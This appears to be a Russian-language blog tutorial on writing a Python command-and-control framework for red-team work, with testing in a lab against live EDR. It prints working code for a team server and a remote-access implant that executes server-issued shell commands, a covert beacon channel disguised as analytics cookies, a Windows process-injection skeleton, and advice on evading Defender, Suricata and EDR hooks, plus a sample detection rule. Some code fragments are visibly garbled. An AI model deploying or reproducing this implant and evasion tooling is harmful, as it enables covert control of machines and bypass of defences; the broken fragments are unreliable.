Каждый второй вопрос на Reddit-тредах про Red Team звучит одинаково: «делать C2 с нуля или кастомизировать существующий?». Ответ зависит от цели. Нужно провести пентест за неделю - берите Sliver или Havoc, не выпендривайтесь. Но если хотите понять, как работает command and control изнутри, почему ваш beacon убивается CrowdStrike на третьей секунде и как спроектировать протокол, который не ляжет под Suricata - написание C2 фреймворка на Python даст больше, чем сотня запусков чужих инструментов - полную карту этого пути, от архитектуры до обхода EDR, я собрал в
руководстве по разработке Red Team инструментов.
Здесь не обзор Mythic или Cobalt Strike. Здесь мы проектируем, пишем код и тестируем собственный C2 фреймворк с нуля. От пустого каталога до работающего агента, который переживает первый контакт с EDR в лабораторной среде.
Зачем писать C2 фреймворк своими руками
По данным Kaspersky за Q2 2025 (отчёт AlphaHunt), порядок популярности C2-фреймворков в реальных атаках: Sliver, Havoc, Metasploit, Mythic, Brute Ratel C4, Cobalt Strike. У каждого из них есть сигнатуры. YARA-правила для Sliver публикуются на следующий день после релиза. Beacon Cobalt Strike разобран до байта. Mythic-агенты детектируются по характерным паттернам JSON-трафика - вот пример Suricata-правила из документации Tuoni C2:
Код:
Код:
alert http any any -> any any (
msg:"C2 Beacon Pattern";
http.method; content:"POST";
http.uri; pcre:"/\/api\/agent\/beacon/";
http.body; content:"agentId";
sid:2100001; rev:1;
)
Одно правило - и ваш Mythic-агент спалился. На заборе написано «кастомный C2», а за забором - реальное преимущество.
Когда вы пишете
red team C2 фреймворк с нуля, вы получаете уникальный протокол, уникальную структуру трафика и уникальные строки в бинарнике. Ни одна сигнатура из публичных баз вас не поймает - потому что вашего кода в этих базах нет. Не silver bullet, но стартовое преимущество, которого нет у оператора с дефолтным Havoc Demon.
Вторая причина - понимание. Пока вы не реализовали beacon loop руками, вы не понимаете, почему jitter критически важен. Пока не написали диспетчер задач - не осознаете, где именно EDR вставляет хуки. Без этого любой коммерческий инструмент остаётся чёрным ящиком.
Архитектура C2 фреймворка: три ключевых компонента
Прежде чем писать код - проектируем систему. Архитектура C2 фреймворка состоит из трёх слоёв, и каждый проектируется отдельно.
Team Server - мозг операции
Team Server - серверная часть, которая принимает соединения от имплантов, хранит очередь задач и отдаёт результаты оператору. В Mythic это Go-микросервисы в Docker. В Cobalt Strike - монолитный Java-процесс. Мы пишем на Python, так что наш command and control сервер будет HTTP-сервером с очередью задач в памяти.
Ключевые решения на этом этапе:
- Протокол - HTTP, DNS, WebSocket или TCP. HTTP проще всего для прототипа и лучше мимикрирует под легитимный трафик.
- Хранение задач - in-memory dict для прототипа, SQLite для persistence.
- Аутентификация агентов - каждый имплант должен иметь уникальный ID, иначе вы не отличите одну скомпрометированную машину от другой.
- Мультиоператорность - для MVP не нужна, но архитектурно стоит заложить.
Имплант C2 - агент на целевой машине
Имплант (он же агент, он же beacon) - самый сложный компонент. Он работает во враждебной среде, где EDR мониторит каждый API-вызов. Имплант C2 на Python должен уметь:
- Периодически связываться с сервером (beaconing).
- Получать задачи и исполнять их.
- Отправлять результаты обратно.
- Не умирать при потере связи.
Транспортный канал - как не спалиться на проводе
Транспорт - это не просто «открыть сокет». Это решение о том, как выглядит ваш трафик для сетевого мониторинга. Шлёте POST-запрос с JSON
Код:
{"agentId": "abc", "task": "whoami"}
на
Код:
http://evil.com/api/beacon
- ловится одним Suricata-правилом. Шлёте GET на
с данными в Cookie-заголовке - уже сложнее.
Для прототипа используем HTTP с кастомным форматом данных. В боевой операции замените на HTTPS с domain fronting или DNS-over-HTTPS, но принцип тот же.
Пишем command and control сервер на Python
Начнём с Team Server. Нужен HTTP-сервер, который:
- Регистрирует новых агентов.
- Отдаёт задачи по запросу.
- Принимает результаты выполнения.
- Предоставляет оператору CLI для управления.
Рабочий каркас на стандартной библиотеке Python (без внешних зависимостей):
Python:
Код:
#!/usr/bin/env python3
"""C2 Team Server - минимальный прототип"""
import
json
import
threading
import
base64
from
http
.
server
import
HTTPServer
,
BaseHTTPRequestHandler
from
urllib
.
parse
import
urlparse
,
parse_qs
# Хранилище: агенты и очередь задач
agents
=
{
}
# agent_id -> {info, last_seen}
task_queue
=
{
}
# agent_id -> [task1, task2, ...]
results
=
{
}
# agent_id -> [result1, result2, ...]
# XOR-обфускация - минимальная, для примера концепции
KEY
=
b'\x4a\x7b\x2c\x9d'
def
xor_data
(
data
:
bytes
,
key
:
bytes
)
-
>
bytes
:
return
bytes
(
[
b
^
key
[
i
%
len
(
key
)
]
for
i
,
b
in
enumerate
(
data
)
]
)
def
encode_payload
(
data
:
dict
)
-
>
str
:
raw
=
json
.
dumps
(
data
)
.
encode
(
'utf-8'
)
encrypted
=
xor_data
(
raw
,
KEY
)
return
base64
.
b64encode
(
encrypted
)
.
decode
(
'ascii'
)
def
decode_payload
(
b64_data
:
str
)
-
>
dict
:
encrypted
=
base64
.
b64decode
(
b64_data
)
raw
=
xor_data
(
encrypted
,
KEY
)
return
json
.
loads
(
raw
.
decode
(
'utf-8'
)
)
class
C2Handler
(
BaseHTTPRequestHandler
)
:
"""Обработчик HTTP-запросов от агентов"""
def
log_message
(
self
,
format
,
*
args
)
:
pass
# Тихий режим - не логируем в stdout
def
do_POST
(
self
)
:
content_len
=
int
(
self
.
headers
.
get
(
'Content-Length'
,
0
)
)
body
=
self
.
rfile
.
read
(
content_len
)
.
decode
(
'utf-8'
)
try
:
data
=
decode_payload
(
body
)
except
Exception
:
self
.
send_response
(
404
)
self
.
end_headers
(
)
return
action
=
data
.
get
(
'action'
)
agent_id
=
data
.
get
(
'id'
)
if
action
==
'register'
:
agents
[
agent_id
]
=
{
'info'
:
data
.
get
(
'info'
,
{
}
)
,
'last_seen'
:
data
.
get
(
'ts'
)
}
task_queue
.
setdefault
(
agent_id
,
[
]
)
results
.
setdefault
(
agent_id
,
[
]
)
print
(
f'[+] Новый агент:{agent_id}'
)
resp
=
encode_payload
(
{
'status'
:
'ok'
}
)
elif
action
==
'beacon'
:
# Агент пришёл за задачами
agents
[
agent_id
]
[
'last_seen'
]
=
data
.
get
(
'ts'
)
tasks
=
task_queue
.
get
(
agent_id
,
[
]
)
task_queue
[
agent_id
]
=
[
]
# очистить после выдачи
# NB: чтение + очистка очереди не атомарны - при одновременном
# добавлении задачи оператором возможна потеря. Для production
# используйте threading.Lock или queue.Queue.
resp
=
encode_payload
(
{
'tasks'
:
tasks
}
)
elif
action
==
'result'
:
results
.
setdefault
(
agent_id
,
[
]
)
.
append
(
data
.
get
(
'output'
)
)
print
(
f'[It works!'
)
def
operator_console
(
)
:
"""CLI оператора - управление агентами"""
while
True
:
cmd
=
input
(
'C2> '
)
.
strip
(
)
if
cmd
==
'list'
:
for
aid
,
info
in
agents
.
items
(
)
:
print
(
f'{aid}| last_seen:{info["last_seen"]}'
)
elif
cmd
.
startswith
(
'task '
)
:
parts
=
cmd
.
split
(
' '
,
2
)
if
len
(
parts
)
==
3
:
aid
,
command
=
parts
[
1
]
,
parts
[
2
]
task_queue
.
setdefault
(
aid
,
[
]
)
.
append
(
{
'type'
:
'shell'
,
'cmd'
:
command
}
)
print
(
f'[>] Задача поставлена для{aid}'
)
elif
cmd
.
startswith
(
'results '
)
:
aid
=
cmd
.
split
(
' '
,
1
)
[
1
]
for
r
in
results
.
get
(
aid
,
[
]
)
:
print
(
r
)
elif
cmd
==
'help'
:
print
(
'list - список агентов'
)
print
(
'task - поставить задачу'
)
print
(
'results - показать результаты'
)
if
__name__
==
'__main__'
:
server
=
HTTPServer
(
(
'0.0.0.0'
,
8443
)
,
C2Handler
)
srv_thread
=
threading
.
Thread
(
target
=
server
.
serve_forever
,
daemon
=
True
)
srv_thread
.
start
(
)
print
(
'[*] C2 сервер запущен на порту 8443'
)
operator_console
(
)
Несколько деталей, на которые стоит обратить внимание:
- XOR-обфускация здесь только для демонстрации концепции. В боевом варианте используйте AES-256 из
с ротацией ключей.
- Ответ
Код:
Content-Type: text/html
- намеренно. Для сетевого мониторинга это выглядит как обычный веб-сайт.
- подавлен - сервер не пишет в stderr, меньше шума.
Разработка имплантa C2 на Python: beacon loop и диспетчер задач
Теперь самое интересное -
имплант C2 на Python. Агент должен работать на целевой машине, периодически стучаться на сервер и выполнять команды.
Beacon loop с jitter
Главная ошибка новичков - фиксированный интервал beaconing. Если агент стучится ровно каждые 30 секунд, сетевой аналитик увидит это как метроном на графике. Jitter - случайное отклонение от интервала - тут критически важен.
Python:
Код:
#!/usr/bin/env python3
"""C2 Agent / Implant - минимальный прототип"""
import
json
import
base64
import
time
import
random
import
subprocess
import
platform
import
os
import
urllib
.
request
import
urllib
.
error
C2_URL
=
'http://192.168.1.100:8443'
BEACON_INTERVAL
=
30
# секунды
JITTER_PERCENT
=
40
# ±40% отклонение
KEY
=
b'\x4a\x7b\x2c\x9d'
def
xor_data
(
data
:
bytes
,
key
:
bytes
)
-
>
bytes
:
return
bytes
(
[
b
^
key
[
i
%
len
(
key
)
]
for
i
,
b
in
enumerate
(
data
)
]
)
def
encode_payload
(
data
:
dict
)
-
>
str
:
raw
=
json
.
dumps
(
data
)
.
encode
(
'utf-8'
)
encrypted
=
xor_data
(
raw
,
KEY
)
return
base64
.
b64encode
(
encrypted
)
.
decode
(
'ascii'
)
def
decode_payload
(
b64_data
:
str
)
-
>
dict
:
encrypted
=
base64
.
b64decode
(
b64_data
)
raw
=
xor_data
(
encrypted
,
KEY
)
return
json
.
loads
(
raw
.
decode
(
'utf-8'
)
)
def
generate_agent_id
(
)
-
>
str
:
return
base64
.
b16encode
(
os
.
urandom
(
8
)
)
.
decode
(
)
.
lower
(
)
def
get_system_info
(
)
-
>
dict
:
return
{
'hostname'
:
platform
.
node
(
)
,
'os'
:
platform
.
platform
(
)
,
'user'
:
os
.
getenv
(
'USERNAME'
,
os
.
getenv
(
'USER'
,
'unknown'
)
)
,
'pid'
:
os
.
getpid
(
)
}
def
send_to_c2
(
data
:
dict
)
-
>
dict
:
"""Отправка данных на C2 сервер"""
encoded
=
encode_payload
(
data
)
.
encode
(
'ascii'
)
req
=
urllib
.
request
.
Request
(
C2_URL
,
data
=
encoded
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
,
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
,
method
=
'POST'
)
try
:
with
urllib
.
request
.
urlopen
(
req
,
timeout
=
10
)
as
resp
:
return
decode_payload
(
resp
.
read
(
)
.
decode
(
'ascii'
)
)
except
urllib
.
error
.
URLError
:
return
{
}
def
execute_task
(
task
:
dict
)
-
>
str
:
"""Диспетчер задач агента"""
task_type
=
task
.
get
(
'type'
,
''
)
if
task_type
==
'shell'
:
cmd
=
task
.
get
(
'cmd'
,
''
)
try
:
result
=
subprocess
.
run
(
cmd
,
shell
=
True
,
capture_output
=
True
,
text
=
True
,
timeout
=
30
)
return
result
.
stdout
+
result
.
stderr
except
subprocess
.
TimeoutExpired
:
return
'[!] Command timed out'
elif
task_type
==
'sleep'
:
# Динамическое изменение интервала
global
BEACON_INTERVAL
BEACON_INTERVAL
=
int
(
task
.
get
(
'value'
,
30
)
)
return
f'Sleep interval set to{BEACON_INTERVAL}s'
return
'[!] Unknown task type'
def
calc_sleep
(
base
:
int
,
jitter_pct
:
int
)
-
>
float
:
"""Рассчитать интервал сна с jitter"""
deviation
=
base
*
(
jitter_pct
/
100.0
)
return
base
+
random
.
uniform
(
-
deviation
,
deviation
)
def
main
(
)
:
agent_id
=
generate_agent_id
(
)
# Фаза 1: регистрация
reg_response
=
send_to_c2
(
{
'action'
:
'register'
,
'id'
:
agent_id
,
'info'
:
get_system_info
(
)
,
'ts'
:
int
(
time
.
time
(
)
)
}
)
while
not
reg_response
:
time
.
sleep
(
60
)
reg_response
=
send_to_c2
(
{
'action'
:
'register'
,
'id'
:
agent_id
,
'info'
:
get_system_info
(
)
,
'ts'
:
int
(
time
.
time
(
)
)
}
)
# Фаза 2: beacon loop
while
True
:
sleep_time
=
calc_sleep
(
BEACON_INTERVAL
,
JITTER_PERCENT
)
time
.
sleep
(
sleep_time
)
response
=
send_to_c2
(
{
'action'
:
'beacon'
,
'id'
:
agent_id
,
'ts'
:
int
(
time
.
time
(
)
)
}
)
tasks
=
response
.
get
(
'tasks'
,
[
]
)
for
task
in
tasks
:
output
=
execute_task
(
task
)
send_to_c2
(
{
'action'
:
'result'
,
'id'
:
agent_id
,
'output'
:
output
,
'ts'
:
int
(
time
.
time
(
)
)
}
)
if
__name__
==
'__main__'
:
main
(
)
Диспетчер задач и расширяемость
Функция
- ядро агента. Сейчас она умеет выполнять shell-команды и менять интервал. В боевом C2 сюда добавляются:
Тип задачиОписаниеСложность
Выполнение системных командНизкая
/
Передача файлов через C2-каналСредняя
Process Injection (T1055)Высокая
Снимок экрана через APIСредняя
SOCKS5 прокси через агентВысокая
Изменение интервала beaconingНизкая
Удаление следов и завершениеСредняя
Архитектурно правильный подход - расширяемый диспетчер через словарь обработчиков:
Python:
Код:
TASK_HANDLERS
=
{
}
def
register_handler
(
task_type
:
str
)
:
"""Декоратор для регистрации обработчика задачи"""
def
wrapper
(
func
)
:
TASK_HANDLERS
[
task_type
]
=
func
return
func
return
wrapper
@register_handler
(
'shell'
)
def
handle_shell
(
task
:
dict
)
-
>
str
:
cmd
=
task
.
get
(
'cmd'
,
''
)
result
=
subprocess
.
run
(
cmd
,
shell
=
True
,
capture_output
=
True
,
text
=
True
,
timeout
=
30
)
return
result
.
stdout
+
result
.
stderr
@register_handler
(
'sleep'
)
def
handle_sleep
(
task
:
dict
)
-
>
str
:
global
BEACON_INTERVAL
BEACON_INTERVAL
=
int
(
task
.
get
(
'value'
,
30
)
)
return
f'Interval:{BEACON_INTERVAL}s'
def
execute_task
(
task
:
dict
)
-
>
str
:
handler
=
TASK_HANDLERS
.
get
(
task
.
get
(
'type'
,
''
)
)
if
handler
:
return
handler
(
task
)
return
'[!] Unknown task type'
Похожий паттерн используют серьёзные фреймворки. В Mythic каждый агент определяет набор команд через аналогичную систему регистрации.
Обход EDR с помощью C2: что реально работает
Код выше - рабочий, но любой EDR убьёт этот процесс за секунды. Разберём конкретные точки, где вас поймают, и что с этим делать.
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Обфускация C2-трафика
Первая линия обороны - сетевой мониторинг. Проблема нашего прототипа: POST-запросы с base64-блобами на голый HTTP. Три практических улучшения:
1. Маскировка под легитимный трафик. Вместо отправки данных в теле POST, кодируйте payload в Cookie-заголовок или в параметр GET-запроса, имитируя аналитику. Тут есть подвох: RFC 6265 рекомендует поддержку минимум 4096 байт на cookie, а nginx по умолчанию ограничивает все заголовки 8 КБ - base64-кодированные результаты команд легко превысят этот лимит. Для больших payload используйте POST с маскировкой
или chunking. Серверная часть (
) в нашем прототипе не обрабатывает covert-канал - её нужно доработать для извлечения данных из Cookie и отправки ответа в формате JS-комментария:
Python:
Код:
# Вместо POST с данными в body
# делаем GET с данными в Cookie
def
send_to_c2_covert
(
data
:
dict
)
-
>
dict
:
# NB: только клиентская часть - C2Handler.do_GET нужно доработать
# для извлечения данных из Cookie и отправки X-Analytics-Data.
encoded
=
encode_payload
(
data
)
req
=
urllib
.
request
.
Request
(
C2_URL
+
'/static/analytics.js'
,
# выглядит как запрос статики
headers
=
{
'Cookie'
:
f'_ga={encoded}'
,
# данные в cookie
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/125.0.0.0 Safari/537.36'
,
'Accept'
:
'text/javascript, application/javascript'
,
}
)
try
:
with
urllib
.
request
.
urlopen
(
req
,
timeout
=
10
)
as
resp
:
# Ответ сервера замаскирован как JS-файл
body
=
resp
.
read
(
)
.
decode
(
'ascii'
)
# Извлекаем payload из кастомного HTTP-заголовка
# (парсинг из JS-комментария через find('*/') ненадёжен -
# последовательность '*/' в payload сломает парсер)
payload_header
=
resp
.
headers
.
get
(
'X-Analytics-Data'
,
''
)
if
payload_header
:
return
decode_payload
(
payload_header
)
return
{
}
except
urllib
.
error
.
URLError
:
return
{
}
Для сетевого аналитика это выглядит как браузер, загружающий JavaScript. По данным Bitdefender, атакующие всё чаще камуфлируют C2-трафик под легитимные сетевые протоколы - HTTP/S или DNS - используя шифрование или обфускацию.
2. HTTPS вместо HTTP. Самоподписанный сертификат - плохо (ловится TLS-инспекцией). Берите Let's Encrypt на легитимном домене. Ещё лучше - разделение SNI и Host-заголовка через CDN, хотя классический domain fronting (расхождение SNI и Host) заблокирован крупнейшими CDN-провайдерами (AWS CloudFront и Google App Engine - апрель 2018, Azure CDN - позднее). Вариации техники (domain borrowing, CDN-specific redirects) продолжают исследоваться.
3. Профилирование C2 (malleable profiles). Концепция, которую Cobalt Strike превратил в стандарт индустрии. Как описывает WhiteKnightLabs в исследовании по EDR evasion - это замена характерных строк, настройка заголовков, имитация конкретных веб-приложений. В нашем фреймворке это конфигурационный файл, определяющий шаблоны запросов и ответов.
Sleep и поведенческий анализ
EDR не просто сканирует файлы - он наблюдает за поведением процесса. Python-процесс, который каждые 30 секунд делает HTTP-запрос и затем вызывает
- красный флаг.
Техники противодействия:
Sleep masking. В Cobalt Strike 4.10+ реализован BeaconGate - перехват API-вызовов через кастомный Sleep Mask. Суть: пока beacon спит, его память шифруется (через
+ XOR/RC4 по всей RW-секции образа), чтобы сканер памяти не нашёл характерные строки.
На Python полноценный sleep masking невозможен - интерпретатор не даёт контроля над layout памяти процесса, а Python-строки иммутабельны. Это одна из ключевых причин, почему боевые импланты пишут на C/C++/Rust. Ниже -
нерабочая концептуальная демонстрация, показывающая только идею (не реальное затирание):
Python:
Код:
import
ctypes
import
sys
def
secure_sleep
(
seconds
:
float
)
:
"""Очистка чувствительных данных в памяти перед сном"""
# ВНИМАНИЕ: Python-строки иммутабельны - присвоение нового значения
# НЕ перезаписывает старую строку в heap, она остаётся до GC.
# Для реальной перезаписи нужен ctypes.memset(id(obj)+offset, 0, len),
# но и это ненадёжно из-за интернирования и копий в буферах.
# Ниже - концептуальная демонстрация, НЕ реальное затирание памяти.
global
C2_URL
original
=
C2_URL
C2_URL
=
'x'
*
len
(
C2_URL
)
# создаёт новый объект, не перезаписывает старый
time
.
sleep
(
seconds
)
C2_URL
=
original
# восстановление
Этот код
не выполняет никакого реального затирания памяти. Python-строки иммутабельны: переприсвоение
создаёт новый объект, а старый остаётся в heap до сборки мусора. Даже
Код:
ctypes.memset(id(obj)+offset, 0, len)
ненадёжен из-за интернирования строк, копий в буферах
и непредсказуемого GC. Настоящий sleep masking (как BeaconGate) шифрует всю RW-секцию образа через
+ XOR/RC4 на уровне нативного кода - из Python-интерпретатора это принципиально нереализуемо. Если вам нужен sleep masking - это аргумент в пользу C/C++/Rust для импланта.
Разнесение действий во времени. Не выполняйте задачу сразу после получения. Случайная задержка между получением команды и её исполнением ломает корреляцию «сетевой запрос → исполнение команды» в телеметрии EDR.
Process Injection как точка входа
Запуск Python-скрипта как отдельного процесса
- самый заметный способ. EDR видит: новый процесс
, дочерние
(T1059.003) и
(T1059.001), сетевые соединения - весь kill chain как на ладони.
Process Injection (T1055, тактики Defense Evasion и Privilege Escalation по MITRE ATT&CK) позволяет выполнить код агента внутри легитимного процесса. Концептуальный пример через Windows API:
Python:
Код:
import
ctypes
from
ctypes
import
wintypes
# Пример для демонстрации концепции - НЕ рабочий exploit.
# Причины: target_pid и shellcode не определены; без указания
# argtypes/restype ctypes на 64-bit системах усекает указатели;
# нет проверки возвращаемых значений (NULL handle = access violation).
# Показывает последовательность API-вызовов для classic injection.
kernel32
=
ctypes
.
WinDLL
(
'kernel32'
,
use_last_error
=
True
)
# Необходимо для корректной работы на 64-bit системах:
kernel32
.
OpenProcess
.
restype
=
wintypes
.
HANDLE
kernel32
.
OpenProcess
.
argtypes
=
[
wintypes
.
DWORD
,
wintypes
.
BOOL
,
wintypes
.
DWORD
]
kernel32
.
VirtualAllocEx
.
restype
=
wintypes
.
LPVOID
kernel32
.
VirtualAllocEx
.
argtypes
=
[
wintypes
.
HANDLE
,
wintypes
.
LPVOID
,
ctypes
.
c_size_t
,
wintypes
.
DWORD
,
wintypes
.
DWORD
]
target_pid
=
0
# TODO: указать PID целевого процесса
shellcode
=
b''
# TODO: подставить payload
# Шаг 1: Открыть целевой процесс
PROCESS_ALL_ACCESS
=
0x1F0FFF
h_process
=
kernel32
.
OpenProcess
(
PROCESS_ALL_ACCESS
,
False
,
target_pid
# PID легитимного процесса, например explorer.exe
)
# Шаг 2: Выделить память в целевом процессе
MEM_COMMIT
=
0x1000
PAGE_EXECUTE_READWRITE
=
0x40
remote_buffer
=
kernel32
.
VirtualAllocEx
(
h_process
,
None
,
len
(
shellcode
)
,
MEM_COMMIT
,
PAGE_EXECUTE_READWRITE
)
# Шаг 3: Записать shellcode
written
=
ctypes
.
c_size_t
(
0
)
kernel32
.
WriteProcessMemory
(
h_process
,
remote_buffer
,
shellcode
,
len
(
shellcode
)
,
ctypes
.
byref
(
written
)
)
# Шаг 4: Создать удалённый поток
kernel32
.
CreateRemoteThread
(
h_process
,
None
,
0
,
remote_buffer
,
None
,
0
,
None
)
Этот паттерн - classic injection - детектируется любым современным EDR за 3 секунды. Microsoft Defender for Endpoint мониторит цепочку
→
→
→
как атомарное событие. Чтобы обойти это, в боевых операциях используют:
- Indirect syscalls - вызов
Код:
NtAllocateVirtualMemory
напрямую вместо
, минуя usermode-хуки EDR.
- Syscall stomping - подмена легитимного syscall в ntdll.dll.
- Module stomping - запись shellcode поверх легитимного DLL в памяти процесса.
На Python прямые syscalls реализуемы через
, но это уже разработка malware на Python продвинутого уровня - тема для отдельного разговора.
Лаборатория для тестирования C2: стенд с живым EDR
Писать C2 без тестовой среды - как писать код без компилятора. Нужна
лаборатория для тестирования C2 с реальным EDR.
Сборка лабораторного стенда
Минимальная конфигурация:
МашинаОСРольEDRAttackerKali / UbuntuC2 Team ServerНетTarget-1Windows 10/11ЖертваMicrosoft Defender (встроенный)Target-2Windows Server 2022ЖертваElastic EDR (бесплатный tier)MonitorUbuntuСетевой мониторингSuricata + Zeek
Развёртывание:
- VirtualBox или VMware с host-only сетью (изоляция от интернета - обязательно).
- На Target-1 оставляете штатный Windows Defender с включённой облачной защитой - это важно. Без cloud protection Defender работает вполсилы.
- На Target-2 ставите Elastic Agent с интеграцией Elastic Defend - бесплатный EDR с поведенческим анализом.
- На Monitor - Suricata с набором правил ET Open и Zeek для полного разбора трафика.
Методика тестирования
Пошаговый чеклист, который я использую при каждой итерации агента:
Шаг 1: Запуск и регистрация. Поднимите Team Server на Attacker. Запустите агент на Target. Проверьте: прошла ли регистрация? Что записал Defender в Event Log? Что увидел Suricata?
Bash:
Код:
# На машине Monitor - проверка алертов Suricata
tail
-f /var/log/suricata/fast.log
|
grep
-i
"c2\|beacon\|trojan"
# На Target-1 - проверка событий Defender через PowerShell
Get-MpThreatDetection
|
Select-Object -Last
5
Шаг 2: Выполнение команды. Поставьте задачу
через консоль оператора. Проследите всю цепочку: запрос агента → ответ сервера → исполнение → отправка результата. На каком этапе среагировал EDR?
Шаг 3: Долгоживучесть. Оставьте агент работать на 2–4 часа. Поведенческий анализ EDR часто срабатывает не мгновенно, а по накоплению аномалий.
Шаг 4: Эскалация. Попробуйте более «шумные» команды: загрузку файла, запуск PowerShell, сетевое сканирование. Зафиксируйте порог, на котором EDR убивает процесс.
После каждого цикла - анализ и доработка. Типичные результаты первых итераций:
- Defender убивает
с аргументом
- решение: скомпилировать через PyInstaller и переименовать.
- Suricata ловит паттерн base64 в Cookie - решение: добавить padding и мусорные параметры.
- Elastic EDR алертит на
+
- решение: использовать
+
напрямую.
Обнаружение C2 трафика: что видит защита
Чтобы строить C2 инфраструктуру для пентеста, нужно понимать, как работает обнаружение C2 трафика на стороне защиты. Лично я каждый раз смотрю на свой агент глазами SOC-аналитика - и это сильно отрезвляет.
Сетевой уровень. SOC-аналитики ищут: периодичность запросов (beaconing analysis), аномальные User-Agent, подозрительные домены, нестандартные размеры запросов/ответов. Инструменты - RITA, Zeek, Suricata. Ваш jitter и маскировка трафика - прямое противодействие этому.
Endpoint уровень. EDR мониторит: создание процессов, системные вызовы (через ETW и kernel callbacks), сетевые соединения процессов, манипуляции с памятью. По данным AlphaHunt, рекомендации для SOC включают мониторинг выполнения PowerShell/Python (особенно связанного с доступом к облачным сервисам), алерты на reflective DLL injection, in-memory payloads и process injection (T1055), а также на выполнение команд через интерпретаторы (T1059).
Поведенческая аналитика. Корреляция событий: процесс
делает HTTP-запрос на нестандартный порт - подозрительно. Процесс без подписи порождает дочерний
каждые 30 секунд (T1059.003) - подозрительно. Именно поэтому jitter, маскировка Parent PID и отказ от
в пользу прямых API-вызовов - не опциональные улучшения, а необходимость.
Что дальше
Мы прошли путь от пустого файла до работающей
C2 инфраструктуры с сервером, агентом и базовыми техниками обхода:
- Team Server с HTTP-listener, очередью задач и CLI оператора.
- Агент с beacon loop, jitter, расширяемым диспетчером задач.
- Транспорт с XOR-обфускацией и маскировкой под легитимный трафик.
- Лабораторный стенд для итеративного тестирования против живого EDR.
Чего здесь нет (и что стоит добавить самостоятельно):
- Шифрование AES-256 вместо XOR - используйте
.
- DNS-канал - для случаев, когда HTTP заблокирован.
- Persistence - автозапуск агента через реестр, scheduled tasks или WMI.
- Lateral movement - после закрепления на первой машине агент должен уметь распространяться.
- Компиляция - PyInstaller удобен для доставки (единый бинарник), но его сигнатуры (PYZ-архив,
) хорошо известны AV/EDR, а UPX-пакинг автоматически распаковывается большинством движков, скорее увеличивая detection rate. Для реального обхода статического анализа рассмотрите Nuitka (компиляция в нативный C), Cython для критических модулей или кастомный loader с шифрованным payload.
Написание C2 фреймворка на Python - это не про готовый инструмент. Это про инженерное понимание того, как устроена offensive инфраструктура. После этого опыта любой фреймворк - Sliver, Havoc, Cobalt Strike - перестаёт быть чёрным ящиком. Вы знаете, что происходит под капотом. А это стоит дороже любого конкретного инструмента.
Попробуйте поднять стенд из раздела про лабораторию и прогнать агент против Defender с включённым cloud protection. Если он проживёт больше 5 минут на первой итерации - напишите как, мне правда интересно.